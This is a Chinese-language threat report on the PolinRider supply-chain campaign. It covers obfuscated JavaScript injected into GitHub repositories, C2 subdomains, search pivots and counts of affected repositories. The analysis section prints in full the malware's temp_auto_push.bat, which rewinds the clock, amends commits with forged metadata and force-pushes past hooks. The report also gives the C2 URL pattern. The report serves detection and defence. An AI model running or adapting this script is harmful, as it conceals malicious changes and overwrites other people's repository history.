关于朝鲜关联的PolinRider供应链攻击的技术档案,记录了混淆的JS载荷注入、Git历史操纵、C2基础设施以及针对1,951个被入侵仓库的修复指南。

OpenSourceMalware 团队发现了一场大规模威胁活动,该活动正在向 GitHub 用户和组织仓库中植入恶意软件。威胁行为者 PolinRider 已在 数百个公开 GitHub 仓库(属于 数百个不同的所有者)中植入了恶意混淆的 JavaScript 负载。使用 #polinrider 标签查看所有与此活动相关的威胁报告,并跳转到本博客的底部查看受感染仓库列表,包括我们建议优先采取紧急行动的仓库。请注意,该标签是获取最新数据的最佳途径。
JavaScript 负载被附加到真实项目配置文件的末尾——在文件合法内容之后静默添加——在随意代码审查时很容易被忽略。主要感染途径似乎是一个被攻陷的 npm 包,该包在安装或构建期间执行,并将自身注入到项目根目录的配置文件中。更糟糕的是,该威胁行为者还使用了相同技术来制作恶意的 NPM 包。
此次攻击取得了巨大成功,一个被攻陷的开源项目 Neutralinojs 将恶意软件传播给了其数百名用户和贡献者。Neutralinojs 是一个非常流行的项目,拥有 8400 颗星、495 个分支和数十名活跃贡献者。这正是此类攻击的威力所在,威胁不仅限于最初的 GitHub 仓库,还扩展到所有使用该开源项目的其他项目。
OpenSourceMalware 团队将此活动归因于朝鲜,威胁行为者 PolinRider 是已知的 Lazarus 集团成员,与“Contagious Interview”和“TasksJacker”活动有关联。
自首次发布以来,此活动急剧增长。截至 2026-04-11,OSM 团队已确认 1,951 个公开 GitHub 仓库(属于 1,047 个不同的所有者)遭到入侵。自最初发布日(3月8日:675 个仓库 / 352 个所有者)以来的五周内,增加了 2.9 倍。
| 指标 | 3月8日(初始) | 4月11日(最新) | Δ |
|---|---|---|---|
| 受感染唯一仓库数 | 675 | 1,951 | +1,276 |
| 受影响唯一所有者数 | 352 | 1,047 | +695 |
| — 个人用户 | 305 | ~930 | +625 |
| — 组织 | 47 | ~117 | +70 |
| 观测到的不同混淆器变体 | 1 (rmcej%otb%) | 2 (rmcej%otb% + Cot%3t=shtP) | +1 |
| 确认的不同注入途径 | 1 (配置文件) | 4 (配置文件, .vscode/tasks.json, 伪装的 .woff2 字体, 恶意 npm 依赖) | +3 |
| 记录的不同 C2 子域名 | 1 (260120.vercel.app) | 6+ (见 C2 基础设施) | +5 |
| 已知的武器化在家测试模板 | 0 | 2+ (ShoeVista, StakingGame) | +2 |

在 2026-04-10 开始并持续到 2026-04-11 的后续追踪中,OSM 团队取得了以下几项重大发现:
此活动在 5 周内翻了一番多。 通过跨引擎枚举(GitHub Code Search 和 Sourcegraph,并借助下文所述方法突破了 API 的 1000 条结果上限),我们在第一天就在 v3 主列表中发现了 1,556 个唯一受感染仓库。第二天的第二轮追踪通过 npm 包名 pivot、VS Code tasks.json / 云提供商 pivot 以及新发现的 default-configuration.vercel.app C2 子域名,又增加了 215 个新仓库。与现有 affected_repos.csv 语料库去重后,当前已知的真实范围是 1,951 个唯一受害者仓库 / 1,047 个唯一所有者。
观测到一种新变体。 PolinRider 在保持架构不变的情况下旋转了其混淆器的所有唯一指纹。新变体使用签名标记 Cot%3t=shtP(之前为 rmcej%otb%)、混洗种子 1111436(之前为 2857687)、二级种子 3896884(之前为 2667686)以及解码器函数名 MDy(之前为 _$_1e42)。此旋转似乎是对已发布的 rmcej_otb_payload YARA 规则 的规避响应。两种变体目前均在野外活跃。请参见下文 新变体:Cot%3t=shtP。
威胁行为者正在重新感染早期受害者。 至少一个受害者仓库 (HassanHabibTahir/testclient) 在不同文件中包含两种变体的标记,表明行为者的工具正在对之前已攻陷的主机重新运行并注入新的混淆器。
PolinRider 和 TasksJacker 已实现运营整合。 我们现在有直接证据表明,同一威胁行为者同时针对同一受害者群体执行配置文件注入和 .vscode/tasks.json curl-to-shell 感染途径。在 101 个 temp_auto_push.bat 传播脚本受害者中,有 22 个也含有恶意的 .vscode/tasks.json 文件,并且已识别出多个武器化的在家测试 / 虚假面试模板项目——请参见下文 武器化在家测试模板。OSM 此后将两个集群合并到 #polinrider 下。
识别出两个武器化在家测试项目:ShoeVista(一个虚假的 Tailwind 电商评估,在其 client/package.json 中附带恶意的 tailwindcss-style-animate ^1.1.6)和 StakingGame(一个虚假的区块链 / VS Code 自动化项目,通过 tasks.json 中的 UUID e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 识别)。至少有 46 + 42 名开发者尝试了这些测试并被入侵。这是 Contagious Interview 诱饵剧本的一部分。
发现了五个新的 C2 子域名,它们被用于 .vscode/tasks.json 的 curl | bash 负载中,全部托管在 Vercel 上:
default-configuration.vercel.app(使用最多,约 106 个受害者引用)vscode-settings-bootstrap.vercel.appvscode-settings-config.vercel.appvscode-bootstrapper.vercel.appvscode-load-config.vercel.app所有子域名遵循模式 https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>。已添加到 C2 基础设施 部分。
OSM 在此两天的追踪中提交了 821 份新威胁报告,使 OSM PolinRider 条目总数达到 约 1,700。821 份提交的变体分类:591 份原始变体 (rmcej%otb%)、113 份仅传播 (temp_auto_push.bat)、45 份 malicious_npm (ShoeVista/devhire 集群)、27 份 tasksjacker、1 份新变体 (Cot%3t=shtP)、44 份其他。
确定了新的高产搜索 pivot,即使在 JS 负载已被清除后仍能找到受害者。最强的是 filename:temp_auto_push.bat(101 个确认恶意结果,100% 真阳性率)和 "default-configuration.vercel.app"(106 个命中)。在 44 次随机验证中,样本假阳性率为 0%。请参见下文 精炼方法。
确认了一种新的注入途径:至少一个受害者 (AgbaD/odoo) 将混淆的 JS 负载隐藏在 .woff2 字体文件 (public/fonts/fa-solid-400.woff2) 中,并通过 Node 执行——证实该活动对同一目标使用了多种注入途径。
未发现第三种混淆器变体。 对 global['?'] 标记、种子组合、结构模式、IOC 字面量以及顺序 '8-stN' 标签 1–200(通过 Sourcegraph 正则表达式)的详尽探测,未产生任何超出已记录的两种变体之外的第三种变体证据。行为者的新变体批次上限为 8-st1..8-st59(Sourcegraph 索引中缺少 21 个连续编号)。
完整的 v3 + 第二轮追踪报告和主 TSV 文件位于 reports/ 目录下。
威胁行为者并未使用被盗的 GitHub 凭据。相反,受害者是通过恶意的 VS Code 扩展或 NPM 包被入侵的。我们尚不知道初始攻击途径是什么,但根据取证证据,我们知道它做了什么。
首先,恶意软件在本地计算机上执行搜索功能,查找以下文件:
如果找到此类文件,它会将高度混淆的恶意 JavaScript 代码附加到该文件末尾。接下来,恶意软件安装一个名为 temp_auto_push.bat 的 Windows 批处理文件。我们知道该文件存在及其作用,因为威胁行为者将其留在了数百台被入侵的服务器上,这为研究人员提供了一个可搜索的指纹。以下是批处理文件的完整内容:``` @echo off for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% echo %LAST_COMMIT_TEXT% echo %USER_NAME% (%USER_EMAIL%) echo Branch: %CURRENT_BRANCH% set CURRENT_DATE=%date% set CURRENT_TIME=%time% date %LAST_COMMIT_DATE% time %LAST_COMMIT_TIME% echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME% git config --local user.name %USER_NAME% git config --local user.email %USER_EMAIL% git add . git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify date %CURRENT_DATE% time %CURRENT_TIME% echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit! git push -uf origin %CURRENT_BRANCH% --no-verify @echo on
### 批量文件分析
此批处理文件 **在保留原始时间戳的情况下,重写最近的 git 提交** —— 实际上让一个修改后的提交看起来从未被触碰过。
#### 阶段 1:提取上次提交元数据
它运行 `git log -1` 五次,将上次提交的详细信息提取到环境变量中:
| 变量 | 捕获的值 |
|---|---|
| `LAST_COMMIT_DATE` | 上次提交的日期(YYYY-MM-DD) |
| `LAST_COMMIT_TIME` | 上次提交的时间(HH:MM:SS) |
| `LAST_COMMIT_TEXT` | 提交信息 |
| `USER_NAME` | 作者姓名 |
| `USER_EMAIL` | 作者邮箱 |
| `CURRENT_BRANCH` | 当前分支名称 |
#### 阶段 2:显示提取的信息
将这些值回显到控制台,以便在继续之前查看已捕获的内容。
#### 阶段 3:时间戳技巧(核心操作)
1. 将 *当前* 系统日期和时间保存到变量中
2. **更改 Windows 系统时钟** 以匹配上次提交的日期和时间
3. 将本地 git `user.name` 和 `user.email` 设置为与原始提交的作者一致
#### 阶段 4:修改提交```bat
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
因为系统时钟被回拨,git 会使用原始时间戳记录修改后的提交,使其在历史记录中显得未被修改过。--no-verify 会绕过任何预提交钩子。
-uf 和 --no-verify 强制推送到远程分支,以绕过推送钩子此脚本允许你静默地修改最后一次提交(添加或更改文件),同时使重写的提交看起来与之前具有相同的作者、时间戳和消息。对于任何查看 git 历史的观察者来说,看起来该提交从未被修改过。
-uf) 将覆盖远程历史记录 — 对分支上的其他人具有破坏性--no-verify 标志有意绕过任何 CI/CD 钩子或 lint 检查我们假设恶意软件具有类似的功能来重写其他操作系统(如 Linux 和 MacOS)上的 git 历史。事实上,我们已经看到证据表明它正在其他操作系统上发生,但威胁行为者并未像在 Windows 上那样在源代码中留下可在其他平台上运行的工具。